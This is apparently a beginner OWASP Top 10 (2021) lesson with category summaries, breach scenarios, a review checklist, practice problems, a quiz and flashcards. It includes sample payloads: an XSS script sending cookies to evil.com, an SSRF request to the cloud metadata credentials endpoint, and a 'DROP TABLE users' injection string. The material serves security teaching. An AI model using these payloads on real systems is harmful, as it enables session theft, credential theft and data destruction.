What the OWASP Top 10 Is and Why It Exists
The OWASP Top 10: A Risk-Based Map of Web Application Vulnerabilities
The OWASP Top 10 is a standard awareness document for web application security. It represents a broad consensus about the most critical security risks to web applications. The list is published by the Open Web Application Security Project (OWASP), a nonprofit foundation that works to improve the security of software.
Why a Top 10 List Matters
Security teams face an unbounded set of possible vulnerabilities. Without prioritization, organizations either try to fix everything at once (and fix nothing well) or fix whatever was in last week's news cycle. The OWASP Top 10 solves this by distilling thousands of real-world findings into ten categories that represent the most prevalent and impactful risks. It gives security engineers, developers, and auditors a shared vocabulary and a starting point for threat modeling.
The list is not a compliance checklist. It is a risk-ranking framework. Each category is scored based on prevalence (how often it appears in tested applications), exploitability (how easy it is to exploit), detectability (how easy it is to find), and technical impact (what an attacker achieves).
The 2021 Edition Categories
The current edition (2021) consolidated and renamed several categories from the 2017 version. The ten categories are:
- A01:2021 – Broken Access Control: Users can act outside their intended permissions. This was promoted from #5 to #1 because it is the most commonly found vulnerability in real-world testing.
- A02:2021 – Cryptographic Failures: Previously "Sensitive Data Exposure." Focuses on failures related to cryptography that often lead to sensitive data exposure.
- A03:2021 – Injection: Untrusted data is sent to an interpreter as part of a command or query. SQL, NoSQL, OS command, and LDAP injection all fall here.
- A04:2021 – Insecure Design: New category for 2021. Covers risks from missing or ineffective design-level security controls, distinct from implementation bugs.
- A05:2021 – Security Misconfiguration: Default configurations, incomplete configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages.
- A06:2021 – Vulnerable and Outdated Components: Using components with known vulnerabilities. Previously "Using Components with Known Vulnerabilities."
- A07:2021 – Identification and Authentication Failures: Previously "Broken Authentication." Covers credential stuffing, session fixation, and weak password recovery.
- A08:2021 – Software and Data Integrity Failures: New for 2021. Assumes software updates, critical data, and CI/CD pipelines are unverified. Covers insecure deserialization.
- A09:2021 – Security Logging and Monitoring Failures: Insufficient logging and monitoring allow attackers to maintain persistence, pivot to more systems, and tamper with data.
- A10:2021 – Server-Side Request Forgery (SSRF): New for 2021. Web applications fetching remote resources without validating the user-supplied URL.
How the List Is Compiled
OWASP uses data from over 500,000 applications and contributions from security firms worldwide. The 2021 edition analyzed approximately 2.3 million vulnerabilities across hundreds of organizations. Categories are ranked by a combination of CWE prevalence, exploitability scores, detectability scores, and technical impact scores. Community surveys also influence the final ranking, which is why the list evolves.
Why the List Changes
The 2017-to-2021 shift illustrates why the list is not static. "Insecure Design" and "Software and Data Integrity Failures" were added because the security community recognized that many breaches stem from architectural decisions, not just coding mistakes. SSRF was promoted into the Top 10 because cloud adoption made internal metadata endpoints a high-value target. Understanding the "why" behind each change helps you anticipate future shifts.
Applying the OWASP Top 10 in Practice
Using the OWASP Top 10 as a Working Framework
The OWASP Top 10 is most useful when you treat it as a lens for reviewing code, designing systems, and prioritizing remediation — not as a memorization exercise.
Mapping Breach Scenarios to Categories
Consider three real-world breach patterns and how they map:
Scenario 1: An e-commerce site exposes customer records.
An attacker modifies the orderId parameter in a URL from orderId=1001 to orderId=1002 and sees another customer's order. This is A01: Broken Access Control — the application authenticated the user but failed to authorize the specific object access.
Scenario 2: A forum allows users to post HTML that executes in other browsers.
A user submits a comment containing <script>document.location='https://evil.com/?c='+document.cookie</script>. Every visitor's browser executes the script. This is A03: Injection (specifically Cross-Site Scripting, which OWASP classifies under Injection in the 2021 edition).
Scenario 3: A server fetches a user-supplied URL for a webhook feature.
An attacker supplies http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the server retrieves its own cloud IAM credentials. This is A10: Server-Side Request Forgery.
Building a Top 10 Checklist for Code Review
When reviewing a pull request, walk through each category:
A01 - Broken Access Control
[ ] Does every endpoint check authorization, not just authentication?
[ ] Are object references (IDs) validated against the current user's permissions?
[ ] Is the admin panel restricted by role, not just by URL obscurity?
A03 - Injection
[ ] Are all database queries parameterized?
[ ] Is user input encoded for the correct output context (HTML, JS, URL)?
[ ] Are file paths sanitized before filesystem access?
A05 - Security Misconfiguration
[ ] Are error messages generic (no stack traces to users)?
[ ] Are default credentials changed?
[ ] Are unnecessary HTTP methods (TRACE, OPTIONS) disabled?
A06 - Vulnerable and Outdated Components
[ ] Is there a software bill of materials (SBOM)?
[ ] Are dependencies scanned in CI/CD?
Prioritizing Remediation
Not all Top 10 findings are equal. A broken access control on an admin endpoint is more critical than a missing security header on a static page. Use this prioritization heuristic:
- Exploitability: Can an unauthenticated attacker trigger it?
- Impact: Does it expose data, execute code, or bypass authentication?
- Prevalence: How many endpoints share the same pattern?
- Detectability: Is it already being exploited in the wild?
A vulnerability that scores high on all four should be fixed in the current sprint, not the next quarter.
Practice Problems
For each scenario below, identify the OWASP Top 10 (2021) category and explain why: 1. A web app uses `md5(password)` to hash user passwords. 2. An API endpoint at `/api/users/42/profile` returns user 42's profile even when authenticated as user 99. 3. A search feature reflects the user's query into the HTML response without encoding. 4. The application deserializes a user-supplied Java object to restore a shopping cart.
Solution
1. **A02: Cryptographic Failures** — MD5 is a fast, broken hash unsuitable for password storage. The category covers failures in cryptography that expose sensitive data.
2. **A01: Broken Access Control** — The server fails to verify that the authenticated user (99) is authorized to access user 42's profile. This is a classic IDOR (Insecure Direct Object Reference).
3. **A03: Injection (XSS)** — User input is reflected into HTML without output encoding, allowing script injection. OWASP 2021 classifies XSS under Injection.
4. **A08: Software and Data Integrity Failures** — Deserializing untrusted data without integrity verification can lead to gadget chain exploitation. This category explicitly covers insecure deserialization. You have four findings. Rank them by remediation priority using the OWASP Top 10 framework and justify your ordering: - A: Missing `X-Frame-Options` header on a marketing page (no login) - B: SQL injection on the login form - C: Admin panel accessible without admin role - D: jQuery 1.4.2 (known XSS vulnerabilities) on the checkout page
Solution
Priority order: **C > B > D > A**
- **C (A01: Broken Access Control)**: Highest impact — unauthenticated attacker gains admin access. Exploitable, high impact, likely many admin endpoints share the pattern.
- **B (A03: Injection)**: SQL injection on login can lead to authentication bypass or full database compromise. High exploitability and impact.
- **D (A06: Vulnerable and Outdated Components)**: Known CVEs in jQuery 1.4.2 are exploitable, but the checkout page may have other controls. Still high priority because it is a known-vulnerable component.
- **A (A05: Security Misconfiguration)**: Missing clickjacking header on a public page with no authentication is the lowest priority — limited impact (clickjacking a marketing page). Quiz
1. In the OWASP Top 10 2021 edition, which category was promoted to #1 due to its high prevalence in real-world testing?
2. Which OWASP Top 10 2021 category explicitly covers insecure deserialization?
3. An attacker submits a form field containing `'; DROP TABLE users; --` and the database executes it. Which OWASP Top 10 category does this fall under?
4. Why did OWASP add 'Insecure Design' as a new category in the 2021 edition?
5. A web application fetches a user-supplied URL to generate a preview. An attacker supplies `http://169.254.169.254/latest/meta-data/` and retrieves the server's cloud credentials. Which OWASP Top 10 category is this?
Flashcards
Question
What is the OWASP Top 10?
Click to reveal answer
Answer
A standard awareness document published by OWASP that ranks the ten most critical web application security risks based on prevalence, exploitability, detectability, and technical impact.
Question
Which category was #1 in the OWASP Top 10 2021?
Click to reveal answer
Answer
A01:2021 – Broken Access Control. It was promoted from #5 in 2017 because it was the most commonly found vulnerability in real-world testing.
Question
What does A08:2021 cover?
Click to reveal answer
Answer
Software and Data Integrity Failures — assumes software updates, critical data, and CI/CD pipelines are unverified. Explicitly covers insecure deserialization.
Question
What is the difference between A04 (Insecure Design) and A05 (Security Misconfiguration)?
Click to reveal answer
Answer
A04 covers missing or ineffective design-level security controls (architectural flaws that cannot be fixed by better coding). A05 covers implementation-level misconfigurations like default credentials, verbose errors, and open cloud storage.
Question
What does A10:2021 cover?
Click to reveal answer
Answer
Server-Side Request Forgery (SSRF) — web applications fetching remote resources without validating the user-supplied URL, often targeting cloud metadata endpoints like 169.254.169.254.
Revision Notes
Key Takeaways
- 1. The OWASP Top 10 ranks the most consequential web application risk categories based on real-world data from 500,000+ applications
- 2. Broken Access Control (A01) and Injection (A03) consistently appear at the top of real-world findings
- 3. The 2021 edition added Insecure Design, Software and Data Integrity Failures, and SSRF as new categories
- 4. The list is a risk-ranking framework, not a compliance checklist — use it to prioritize remediation
- 5. Categories are scored on prevalence, exploitability, detectability, and technical impact
Interview Tips
- • Explain the OWASP Top 10 as a risk-ranking framework, not just a list — mention the scoring methodology (prevalence, exploitability, detectability, impact)
- • Give a concrete example of how you used the Top 10 to prioritize a vulnerability backlog in a real project
- • Discuss the 2017-to-2021 changes (Insecure Design, SSRF, Integrity Failures) to show you understand the list evolves
- • Connect the Top 10 to the surrounding Web Vulnerabilities phase — interviewers check that you see the progression, not isolated facts
Cheat Sheet
OWASP Top 10 Cheat Sheet
Phase: Web Vulnerabilities and the OWASP Top 10 | Level: beginner
The 2021 Categories:
- A01: Broken Access Control — users act outside their permissions
- A02: Cryptographic Failures — broken crypto exposes sensitive data
- A03: Injection — untrusted data sent to an interpreter (SQL, XSS, OS command)
- A04: Insecure Design — missing design-level security controls
- A05: Security Misconfiguration — default configs, verbose errors, open storage
- A06: Vulnerable and Outdated Components — known CVEs in dependencies
- A07: Identification and Authentication Failures — credential stuffing, session fixation
- A08: Software and Data Integrity Failures — insecure deserialization, unverified CI/CD
- A09: Security Logging and Monitoring Failures — insufficient logging enables persistence
- A10: Server-Side Request Forgery — server fetches user-supplied URLs
Key points:
- The list is risk-ranked, not a compliance checklist
- Broken Access Control and Injection consistently appear at the top of real-world findings
- The list updates as the threat landscape shifts — re-check the current edition yearly
- A04 (Insecure Design) and A08 (Integrity Failures) were added in 2021 to cover architectural and supply-chain risks
Tags: owasp, web-security